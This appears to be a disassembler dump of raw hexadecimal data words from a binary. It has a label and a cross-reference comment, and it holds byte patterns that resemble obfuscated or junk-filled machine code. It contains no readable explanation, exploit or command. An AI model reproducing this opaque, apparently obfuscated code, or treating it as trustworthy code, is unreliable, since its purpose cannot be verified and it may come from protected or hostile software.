391C3A0h, 4087B58Bh dd 850F05E4h, 0Ch, 6880Fh, 8E0F0000h, 0 dd 6880Fh, 9D090000h, 5E420EDh, 40B78D8Bh, 810F05E4h, 1 dd 0E9C02BF5h, 11h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h dd 0FCD98B02h, 1A898531h, 0D1E905E4h, 89000000h, 0E421ADBDh dd 60263205h, 71C580F5h, 6002B261h, 266D9D8Bh, 8B6605E4h dd 8DE961C3h, 0FC000000h, 9D09C232h, 5E432ADh, 1D7A05FCh dd 8AF58A75h, 0BE860CCh, 8A000000h, 359F5E63h, 682DBFABh dd 61604811h, 1D8D315Fh, 6105E42Dh, 0F5958960h, 8B05E41Ah dd 0E426B18Dh, 0C8D36105h, 55BD8960h, 905E401h, 0E42D8585h dd 830F6105h, 6, 14ED8589h, 423505E4h, 0F98D108h, 0A80h dd 5E900h, 0EF320000h, 89B3CCD8h, 0E429119Dh, 0E9CAFE05h dd 14h, 0F5000905h, 3231D7E0h, 5ECBF296h, 4B5BDAB7h, 0A895F7D0h dd 850FD20Ah, 0FFFFFF6Ch, 46D9501h, 604B05E4h, 10FDBD8Bh dd 816605E4h, 617668E3h, 599D8946h, 0F505E414h, 850FDB0Bh dd 0FFFFFF2Dh, 1A019D89h, 0E9CF05E4h, 10h, 598EE6F7h, 26AAB3Ah dd 0CBFA9BB4h, 305E1AE6h, 8B600000h, 0E41AA99Dh, 0D9952905h dd 6105E407h, 0BF600000h, 139D945h, 12E9h, 4ABDF900h, 0F8570F31h dd 23AEFCF3h, 0FF788505h, 61814748h, 95890000h, 5E4168Dh dd 6E90000h, 5C000000h, 282B0EA6h, 94858DB4h, 6005E439h dd 59F88B56h, 8589F861h, 5E429F1h, 6C858DF9h, 8905E43Eh dd 0E407899Dh, 0C5858905h, 0EB05E413h, 14h, 3 dup(0) dd 8B00h, 0C8858D00h, 8905E441h, 0E41D5585h, 0BD8305h dd 5E441h, 12B840Fh, 85C60000h, 5E42A49h, 7B316856h, 48180D2h dd 4CF20824h, 0E5B5FF53h, 8D05E428h, 0E4399485h, 89D0FF05h dd 0E440F485h, 4985C605h, 5605E42Ah, 4E8h, 0A8B85200h dd 448B509Ch, 8B0424h, 4244489h, 0E5B5FF58h, 8D05E428h dd 0E4399485h, 89D0FF05h, 0E440F885h, 0E8046A05h, 4, 1000h dd 24448B50h, 89008B04h, 58042444h, 4104858Bh, 0F40505E4h dd 0C1000001h, 509002E0h, 0FF006A90h, 0E440F895h, 0FC858905h dd 8B05E440h, 0FFFFB8D8h, 95FFFFFFh, 5E41D55h, 95FFC38Bh dd 5E41D55h, 84E9h, 0BD8300h, 5E441h, 1850Fh, 57C30000h dd 40FCBD8Bh, 83AB05E4h, 0E440FC85h, 0C35F0405h, 4100BD83h dd 0F0005E4h, 185h, 8360C300h, 0E440FCADh, 9D8B0405h, 5E440FCh dd 0FFFC7B83h, 1D850Fh, 1A680000h, 8182F528h, 57E62404h dd 6A7D0Bh, 95FF33FFh, 5E440F4h, 1DE9C361h, 68000000h dd 33451706h, 6243481h, 6A334597h, 0FF33FF00h, 0E440F495h dd 0FCAD8305h, 405E440h, 0FFFFB1E9h, 0D3E948FFh, 12000009h dd 87A0A851h, 9BBCD13h, 0AEAD6952h, 1ED88282h, 0C7A1FA5Bh dd 70491695h, 645167EBh, 4F2BEA66h, 8CADA877h, 1BB3C151h dd 0BFFE3B45h, 119D8590h, 0B7C29510h, 6D5D1C9Fh, 64036BEAh dd 402DE866h, 96ADA874h, 1AEDE51h, 0A3E03B5Ah, 58A9E8Eh dd 83A1FE1Eh, 6D590BD3h, 655126FBh, 542DFD28h, 90B4A862h dd 0FAEDF1Eh, 355Ah, 62h dup(0) dd 12000000h, 8DA9A851h, 1A8D11Fh, 0B4FD3B45h, 1D8A968Ch dd 86A7BF53h, 7B5E5980h, 770329EAh, 452CF167h, 8CB1FA30h dd 9B2D11Fh, 0E6E37217h, 0E8D9E9Ah, 94B6EC1Eh, 30511C87h dd 7D734A85h, 4431E56Dh, 8CB1A83Ch, 0ABDD71Dh, 0E6F97217h dd 11978385h, 8AAAF21Eh, 3E450B9Ch, 314729EEh, 5531E17Ah dd 0C2B0FA71h, 1CA9D708h, 0A9FF6B17h, 11998384h, 10h, 47h dup(0) dd 12000000h, 90A7A851h, 0BB7DB10h, 0E6FE3C45h, 10979E97h dd 94AEF71Eh, 7B591BD3h, 7E4567E1h, 126EA7Dh, 8CAAFD62h dd 4EBBD618h, 0BFAD755Eh, 5C8A848Ch, 93BCE64Dh, 14121496h dd 744F1782h, 0D27F769h, 8EAAFD30h, 4EB8D91Eh, 0A0AD6F5Eh dd 5C959E91h, 88A2FA53h, 7F1C0081h, 630323E1h, 4036F76Dh dd 9BE4FC62h, 4EAECD1Eh, 0A1E26947h, 52959091h, 61h dup(0) dd 12000000h, 87A8E156h, 1CB3DB51h, 0B2FD6E45h, 52D99586h dd 8EA7CB1Eh, 6C4C5980h, 705120E0h, 402AA465h, 87A6A863h dd 3FCD614h, 0B6E47556h, 8999D96h, 86EFFB5Bh, 731C1D9Dh dd 74413EEEh, 552B8902h, 8BE4FB37h, 0DB9DE1Fh, 0E6E97E43h dd 1DD88881h, 95A6C91Eh, 711C0A86h, 634067FDh, 4429E769h dd 0B6E4A674h, 4EAFD119h, 0A3E17251h, 129786C3h, 90EFEB19h dd 3E570B9Ch, 7C5A29EEh, 0F27F667h, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 dd 0FDE90000h, 0B00002Ch, 0E425099Dh, 6AFC05h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0E9DF73C3h, 8B806051h, 0E4115595h, 6AC08B05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0BC8CC356h, 2CBB662Eh, 0A1BD83E4h, 5E416h, 0BD830975h dd 5E4220Dh, 50137400h, 0B8C08B53h, 1, 0A78D9D8Dh, 0D3FF05E6h dd 0BD83585Bh, 5E4220Dh, 50117400h, 1B853h, 9D8D0000h dd 5E6A63Eh, 585BD3FFh, 89DA8B66h, 0E4143985h, 29C08B05h dd 0E40D719Dh, 0EDBD8305h, 5E41Dh, 1BF840Fh, 0BF0F0000h dd 19BD83DAh, 5E429h, 1AF840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0BD391C3h dd 0E41C2995h, 0E3816605h, 6A60FEB3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F3B9C355h dd 667773EFh, 879FDB81h, 2919858Bh, 3EB205E4h, 3D958Bh dd 0E80505E4h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 9868C352h, 569A99D7h dd 0D68B66E3h, 50DF8B90h, 0D0B4C8BAh, 858D9038h, 5E44C0Ch dd 7019D8Bh, 9D3305E4h, 5E41A89h, 0E1BB6650h, 240489F9h dd 8E9h, 78F75D00h, 0D1CC3621h, 0EA858D1Fh, 0F05E44Bh dd 0E83h, 9E900h, 6E670000h, 0EF2AC73Dh, 5061AA80h, 489DE8Bh dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 1DD76C12h, 3A00888Ah, 1BC99503h, 95FF05E4h dd 5E427D5h, 1DE5BD89h, 0C48305E4h, 799D8B0Ch, 8D05E41Fh dd 0E44BEA85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 8AE9764Ch, 0FD6DC3DCh dd 8B90DB4Fh, 89B750DAh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 1E9CF0A5h, 4860FEBh, 66000000h dd 6A0F73BBh, 3FE28002h, 1F299523h, 95FF05E4h, 688574h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6BC35242h dd 8947E12Eh, 0E425A995h, 8161F505h, 844ABFCBh, 1D85C723h dd 105E44Ch, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 6803C357h, 0D32DC097h dd 8B965196h, 0F5750D7h, 28Bh, 5ADE8B00h, 52006A96h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0D9C73288h, 7E903h, 821A0000h, 0DDB05D52h, 0CEB589A7h dd 0E905E44Bh, 12h, 5D3DFC38h, 2894ED01h, 30D729D7h, 0B70972A5h dd 0BD83D49Fh, 5E42995h, 51850F01h, 0FC000000h, 0F05F883h dd 4785h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0EFAE10C6h, 607B8484h, 16F9858Bh dd 816605E4h, 61CDC8D7h, 0B8F5h, 9E80000h, 0C4000000h dd 91DB79B2h, 5C53926Bh, 5B3FC780h, 2C31BD83h, 0F0005E4h dd 1184h, 19958B00h, 0B805E41Ch, 0 dd 0D098529h, 0B66005E4h, 91858BD6h, 0B605E411h, 95BD29ECh dd 8305E407h, 958B02C0h, 5E4049Dh, 4BC68589h, 958B05E4h dd 5E40155h, 89FF00C6h, 0E424C595h, 4985C605h, 5305E42Ah dd 2191958Bh, 4E805E4h, 0D8000000h, 66FCB148h, 0E850D78Bh dd 6, 0B52220B4h, 5250F822h, 870Fh, 310F0000h, 8B5B585Ah dd 66042444h, 8B6078BBh, 0D68B6600h, 4244489h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0A21847Ah, 0BD019175h, 5E416F5h, 26F5B5FFh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 952B3FC3h, 5E41BFDh, 6D30858Dh, 0DE905E7h, 0E5000000h dd 855C3EE2h, 76E22D69h, 7ABF02B7h, 0E5BBD0FFh, 895ACA6Bh dd 0E410C185h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0E32D105Bh, 8F0F9E99h dd 0Eh, 0D9D8960h, 0B05E42Dh, 0E40061B5h, 0BD836105h, 5E42D11h dd 0AE850F01h, 0F000000h, 280h, 61D78B00h, 14158D89h, 85C605E4h dd 5E42A49h, 99D8B45h, 6805E41Bh, 9B763388h, 38C0F60h dd 66000000h, 8161F18Bh, 53A2404h, 0BE93EEAh, 8A000000h dd 21EB2073h, 0A47ED2E7h, 0B5FF07A9h, 5E426F5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C9C35141h, 657F6255h dd 858D009Eh, 5E76D30h, 2B958501h, 0D0FF05E4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E3C35343h, 5D8D89A3h dd 6A05E42Ah, 0BD8B6000h, 5E41A7Dh, 89D0FF61h, 0E42B91B5h dd 0C5BD8305h, 105E41Dh, 0AD850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2D6632C3h dd 667DC569h, 0B210DA81h, 1191858Bh, 6E805E4h, 0FA000000h dd 0E348EBB9h, 0D1BF0F4Ah, 32E95Bh, 85290000h, 5E42C81h dd 4830F50h, 66000000h, 89C4A2BBh, 9D892404h, 5E4115Dh dd 0BA66146Ah, 95FF73DDh, 5E410C1h, 0FAF38166h, 8D095805h dd 5E419FDh, 0F003880h, 0FFFFCB85h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0C8539E36h dd 0CC0E816Ah, 4879DA81h, 0C667E8h, 75B58901h, 6105E400h dd 31B59533h, 0BD8305E4h, 5E429A5h, 20840F00h, 0BA000000h dd 44E8105Ah, 9529FF6Ah, 5E416F9h, 10C195FFh, 9D8B05E4h dd 5E42739h, 0FFFFE7E9h, 0C7DF8BFFh, 0E429A585h, 105h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0ABE8EEh, 0D28589C7h, 6605E44Bh, 90479BBAh dd 8B666050h, 0F08B66F3h, 6A9061h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 98247C3h, 0E42D499Dh dd 0DA816605h, 89600459h, 0E4155195h, 89056A05h, 0E41C2585h dd 0EA858D05h, 6A05E44Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0C24DC356h, 0FC485EA2h dd 0B26050ADh, 9E860D3h, 70000000h, 0C9EDF4F3h, 0C1AC2B62h dd 0F18B665Ah, 4896161h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0F2633E73h, 10E856h, 0A2790000h dd 0F55E9923h, 0D7B95Eh, 62ED2FB3h, 9E92C67h, 52000000h dd 0CE2F7EDFh, 78F2E5D8h, 0BE95Bh, 0ADD80000h, 4C1A1CCDh dd 9FB4662Bh, 0DA858DCBh, 0F05E44Bh, 1482h, 0CE800h, 2BBB0000h dd 7CBB0A47h, 51F65667h, 5A505A57h, 0FE8905Ah, 28000000h dd 0D576508Dh, 0A228D94Ah, 0FB004FFCh, 0BA66CA5Bh, 505B42CAh dd 2810Fh, 0DE8A0000h, 15958B90h, 0FF05E425h, 0E41D0D95h dd 35852905h, 8D05E424h, 0E478B38Dh, 0F59D8B05h, 0B05E41Eh dd 8D1174C0h, 0E44BEA85h, 0D1FF5005h, 4C088589h, 0AEB05E4h dd 4C0885C7h, 0FFFF05E4h, 8B66FFFFh, 51006AD6h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 47D953E5h dd 8B619C98h, 0E4265D95h, 4985C605h, 4D05E42Ah, 0CC58531h dd 186805E4h, 8A83A81Ch, 243481D5h, 279D6AB0h, 0FFE4D280h dd 0E43185B5h, 25958B05h, 8D05E410h, 0E76D3085h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0BB1EAC72h, 84172320h, 8166516Ch, 5AFC24EBh, 0C9B58957h dd 5B05E404h, 8D89D0FFh, 5E40F9Dh, 178A08BBh, 0C9858928h dd 0F05E40Ch, 687h, 29BD8900h, 0C605E428h, 0E42A4985h dd 9D8B4505h, 5E400B1h, 61D24968h, 0DE81Ah, 13E20000h dd 0BC7679B7h, 0FB0D2C78h, 8ACB3B16h, 4815BD7h, 10972024h dd 56006A74h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 99704A52h, 7940855Dh, 237999BAh, 0F5B5FF4Dh dd 8905E426h, 0E423D1B5h, 30858D05h, 0F05E76Dh, 68Fh, 71B50900h dd 0FF05E41Fh, 31B589D0h, 0E805E421h, 6, 84AFBDBCh, 9D0112C4h dd 5E41155h, 4185895Ah, 105E402h, 0E42921B5h, 0FD28B05h dd 68Ah, 59B52900h, 6605E41Ah, 6AD98Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 57994AC3h dd 45F78052h, 23B99289h, 0E42B4995h, 0C0816005h, 2C1D4623h dd 2D19D8Bh, 0F66105E4h, 840F04C1h, 1DFh, 8C0Fh, 32E90000h dd 0E9000001h, 12h, 5C1A0CB4h, 3FAFFE01h, 81BC95F3h, 3A239568h dd 0B58B547Dh, 5E41AB5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 94C35545h, 0ED1E4629h, 4B23345Bh, 81D3B70Fh dd 1180C6h, 0DE800h, 6B550000h, 0AA351CF6h, 0C811E8C4h dd 89ED2268h, 0E4313995h, 0BD835A05h, 5E430DDh, 33850F00h dd 8B000000h, 0E415299Dh, 83E905h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 9FF202C3h dd 9D34E79h, 11559D23h, 3E8305E4h, 52840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0BD2AC352h, 183B4D7Dh, 0E38151F9h, 7A5D3B33h dd 958B605Ah, 5E42915h, 9531146Ah, 5E42E7Dh, 10C195FFh dd 958B05E4h, 5E427D1h, 0D6B70F61h, 0FFFFA9E9h, 72BB66FFh dd 106C7A0h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CBF1C353h, 4830A457h dd 5185890Eh, 2905E410h, 0E4204D85h, 0D2BD8305h, 505E44Bh dd 95850Fh, 0BA660000h, 9529561Ah, 5E421A5h, 241B58Bh dd 858905E4h, 5E42575h, 64B9h, 5D9D8B00h, 8005E42Dh, 840FE83Eh dd 24h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h dd 0CC35040h, 11E93C8Ch, 0F9000000h, 0C2057E80h, 34840Fh dd 958B0000h, 5E42C89h, 0AE946h, 40760000h, 0C2A1AA40h dd 0C15CDA2Eh, 0FF59D23h, 0F4905E4h, 0FFFFA685h, 18DB81FFh dd 0E95C551Ah, 0Fh, 77D958Bh, 0B58905E4h, 5E427FDh, 58D88B66h dd 10499D2Bh, 0BD8305E4h, 5E42549h, 37840F00h, 89000001h dd 0E410D985h, 6A6005h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 95CB1FC3h, 4985C624h, 5405E42Ah dd 15D8D89h, 386805E4h, 50B3CECBh, 12E952h, 0BF430000h dd 70D53475h, 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h, 5057310Fh dd 5A310F52h, 585A5B58h, 0BC240481h, 664B7FF3h, 0B5FFD98Bh dd 5E426F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0D5C35242h, 0ABDB4BD4h, 0BB6619F5h, 858D850Dh dd 5E76D30h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 61C35141h, 958B0901h, 5E40481h, 2840Fh, 0DE8B0000h dd 8166D0FFh, 6A49E2E2h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 8EBE17CDh, 0AE961h, 0DBCB0000h dd 49B6272Bh, 65E858B4h, 2549B5FFh, 11E905E4h, 6F000000h dd 6D80A855h, 828CEAECh, 0FF655644h, 0E94A85DFh, 0AE8D0FFh dd 21000000h, 0E19C0929h, 0C06AF1E5h, 2840F06h, 60000000h dd 66615A61h, 85C7D88Bh, 5E42135h, 1, 1525BB66h, 0C9958960h dd 6805E414h, 0ABCF06C2h, 7F7DBB60h, 81611D41h, 0F9BE2404h dd 81665430h, 6AC2F4DBh, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 2995FF85h, 0F505E424h dd 0D9BF0F61h, 50F9B290h, 0C65FF3BAh, 95319009h, 5E41F29h dd 285D858Bh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 1D56ACC3h, 363B73F3h, 259B529h dd 0C00B05E4h, 31840Fh, 4ABA0000h, 0FF452470h, 0E42BA595h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 8C36E16Fh, 8EE2812Eh, 0C76FE249h, 0E4245D85h dd 105h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E9F74600h, 10h, 8C37079Dh, 0E2D55EF9h dd 41DE2F0Eh, 42419191h, 18B0Fh, 83F80000h, 0E41F05BDh dd 840F0005h, 11h, 2079958Bh, 95FF05E4h, 5E40279h, 4FF224BAh dd 1DBD837Bh, 5E424h, 5E840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A2640AC3h dd 8529FAE0h, 5E41CF9h, 0F5D9BA66h, 13F595FFh, 6A05E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0D36315C3h, 0CBB35CCCh, 5870F59h, 66000000h, 0A27CEA81h dd 21A9BD83h, 0F0005E4h, 5084h, 11E800h, 0C4BF0000h, 0AF8C0D6Fh dd 78BF10BDh, 43272ED9h, 0BAC93E99h, 364AB0C8h, 3DBD835Bh dd 5E42Ch, 27850Fh, 12E80000h, 7A000000h, 0BE28E58Eh, 769E2399h dd 0C543737Bh, 6EDCC7BFh, 0F18D89A4h, 5B05E431h, 1FB595FFh dd 0B70F05E4h, 5BD83D9h, 5E431h, 46840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 8581BEC3h, 5E42215h, 4003h, 0A59D8960h, 0F05E416h, 8161F9BFh dd 0E41A5585h, 400305h, 6E900h, 0E0B40000h, 9F4C2E9Ch dd 9589310Fh, 5E40371h, 5AD18D8Dh, 9D8B05E4h, 5E402B1h dd 89600189h, 0E424C1BDh, 13E905h, 1D750000h, 27742650h dd 80FCED39h, 9C38CD71h, 1BBE1AC6h, 0C23361C6h, 12E9h dd 0CACB6E00h, 5E4B90Dh, 68633CF0h, 846A1DF7h, 0BAB3DE91h dd 4E91802h, 8B044189h, 6A310FD8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0EDF0C356h dd 92B5920Dh, 8A75B70Dh, 0EA8166D9h, 8D8DF884h, 5E45AE6h dd 2DB19D8Bh, 18905E4h, 14E9h, 0E91E6A00h, 47E333A2h, 44395C32h dd 7EA22287h, 4DC90EF4h, 89C2334Fh, 958B0441h, 5E41B69h dd 971BD83h, 0F0005E4h, 3E84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0DE9BBFDh dd 0A000000h, 0F80EB566h, 4D394770h, 9060413Fh, 22AD8589h dd 95FF05E4h, 5E42D61h, 83D9B70Fh, 0E41D5DBDh, 850F0105h dd 7Eh, 9E8h, 5EF2DB00h, 6D0CFD98h, 850FA3C0h, 2, 0E95AD38Bh dd 62h, 16499D8Bh, 0E96005E4h, 0Fh, 553D1D8h, 9DD38275h dd 7A55113Fh, 8B962416h, 0E411F585h, 0B58B6105h, 5E45C22h dd 6C7h, 0B58B0000h, 5E459C2h, 6C7h, 89CF0000h, 0E430F18Dh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0BD4EBBACh dword_544450 dd 0BD8334B9h, 5E4245Dh, 74840F00h, 3000001h, 0E42B359Dh ; DATA XREF: ___:off_43CCF4o dd 0CDBD8305h, 105E427h, 153850Fh, 9D8B0000h, 5E413F1h dd 4BC68D8Bh, 0B70F05E4h, 1C6D9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0D0C35242h, 6652AE9Dh, 6068A2BAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 30C35646h dd 66D68B66h, 0E8502ABAh, 4, 80h, 0D4BA6660h, 0BE665046h dd 615BCDB4h, 6E850h, 492A0000h, 0C8D6B0F0h, 0AE9h, 1EBDE500h dd 20ADBD5Ah, 5B91D965h, 424448Bh, 8BD98Ah, 60525250h dd 310F5A61h, 42BA5250h, 0F22F3FAh, 5A46B331h, 89585A58h dd 66042444h, 0B658D78Bh, 0E9FF6A04h, 0Ah, 9BCB0501h, 3D7D6D43h dd 0FFF9EE14h, 0E4242995h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 83AF72DBh dd 2AD6C2B9h, 6A61A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 54DE78C3h, 291D9589h, 95FF05E4h dd 5E41DA5h, 8BD0B70Fh, 0E44BC68Dh, 0D853105h, 0FE05E428h dd 57006A01h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 6DDEA323h, 3129DD2Ah, 0E42CE595h, 1BD8305h dd 105E412h, 1850Fh, 8BF90000h, 959509C0h, 8305E422h, 0E416A1BDh dd 9750005h, 220DBD83h, 740005E4h, 8B53501Ah, 15858BC0h dd 8905E422h, 0E4221585h, 0EB9D8D05h, 0FF05E6A8h, 83585BD3h dd 0E4220DBDh, 18740005h, 858B5350h, 5E42215h, 22158589h dd 9D8D05E4h, 5E6A5DAh, 585BD3FFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0F8C35040h, 7C8FB9E6h, 5E9h dd 28E7C700h, 53FC3010h, 0F830Fh, 0AE90000h, 0D5000000h dd 0EFDB3F07h, 649CF6EBh, 0C08B5B0Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 50C35242h, 89F9981Ah, 0E4320985h dd 5DBD8305h, 5E424h, 56850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 85AC6FC3h dd 576FF339h, 60E28166h, 0BD835BF5h, 5E41FBDh, 21840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0E5C5C352h, 0EEB3001Dh, 245DBD83h dd 0F0005E4h, 5184h, 45958B00h, 0B305E425h, 0ADBD8300h dd 5E413h, 3C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0E87324C3h, 0Eh, 50E6710Bh dd 9626C269h, 0D05D324Eh, 6E92A29h, 85000000h, 6B829D9Ch dd 0BD835A35h, 5E4245Dh, 38840F00h, 80000000h, 0BD836DD6h dd 5E413ADh, 28840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0D7C3C356h dd 3438351Ah, 419D892Eh, 8305E413h, 0E4245DBDh, 840F0005h dd 26h, 10E990B2h, 76000000h, 0A0F4883Eh, 5E0DE1B4h, 12156801h dd 8380E47Eh, 0E42CADBDh, 840F0005h, 2, 0BD835FB2h, 5E4245Dh dd 21840F00h, 0B3000000h, 0F1BD83C8h, 5E414h, 12840Fh dd 66530000h, 5B3187BBh, 47595FFh, 958905E4h, 5E42DA9h dd 0BD83C08Bh, 5E416A1h, 83097500h, 0E4220DBDh, 1A740005h dd 0C08B5350h, 1A55858Bh, 858905E4h, 5E41A55h, 0A9529D8Dh dd 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50187400h, 55858B53h dd 8905E41Ah, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 8A585BD3h dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 77E4C385h, 0B34292A8h, 0E99D8BD1h, 8B05E410h dd 0A5A1BBC0h, 0BD8378EDh, 5E4245Dh, 53840F00h, 8B000004h dd 68E0FD0h, 3000000h, 0E402B59Dh, 11BD8305h, 205E42Dh dd 16840Fh, 958B0000h, 5E41789h, 1D5DBD83h, 0F0105E4h dd 385h, 0DA8B6600h, 32C1BD83h, 0F0005E4h, 9884h, 2098BB00h dd 0BA601DA3h, 0F5F81C5h, 4BC68D8Bh, 0B58905E4h, 5E41835h dd 2D9589h, 1FE05E4h, 68D7B70Fh, 0B29621D7h, 481A6B2h dd 69DEA924h, 6AF38A4Dh, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 202BC6DFh, 0FFA7933h dd 8E8D3B7h, 0A5000000h, 0EAF33E03h, 60CBB6E9h, 1F15B58Bh dd 8A0F05E4h, 0 dd 95FF5A61h, 5E42429h, 68B0Fh, 958B0000h, 5E4219Dh, 5E861h dd 32CF0000h, 66367ED4h, 0E4A6DA81h, 0B589605Ah, 5E432BDh dd 4BC68D8Bh, 0B50105E4h, 5E43169h, 68FC01FEh, 0C51D369Dh dd 6E8ABB66h, 0E3240481h, 6A3AE2C9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6688C356h dd 0E5BB669Bh, 6AFF6A71h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0A02EC356h, 2444882Eh dd 0C19D8B5Ch, 0FF05E41Eh, 0E4242995h, 55958B05h, 6105E432h dd 2B719D03h, 0BD8D05E4h, 5E4292Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 51C35646h, 0B70F674Dh, 0DE8D8h dd 0B84D0000h, 0A54313CEh, 162391E3h, 0FDF0053h, 8Eh, 4F8B5B00h dd 55006A1Ch, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0C110FF90h, 0B890F9Ch, 0F000000h, 58Eh dd 2733BA00h, 9D895573h, 5E41DE9h, 6A016Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D2993C3h dd 5E40FA5h, 26898D89h, 0BB9105E4h, 4F8C468h, 12BA6650h dd 9D8B9112h, 5E43211h, 36D5858Dh, 6A05E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0F7ADCAC3h dd 0ECBB6648h, 6AD0FFDCh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0AAE5C351h, 0D51C96D4h dd 8AE3A968h, 204F8BD1h, 13E9h, 78A41F00h, 0DFC346C4h dd 0A1D326B9h, 31E7D689h, 0E2495C22h, 8A0F036Ah, 0Ch, 6820Fh dd 0BD890000h, 5E408C5h, 0D18B6650h, 6A240C89h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 810C352h, 0D20A6C77h, 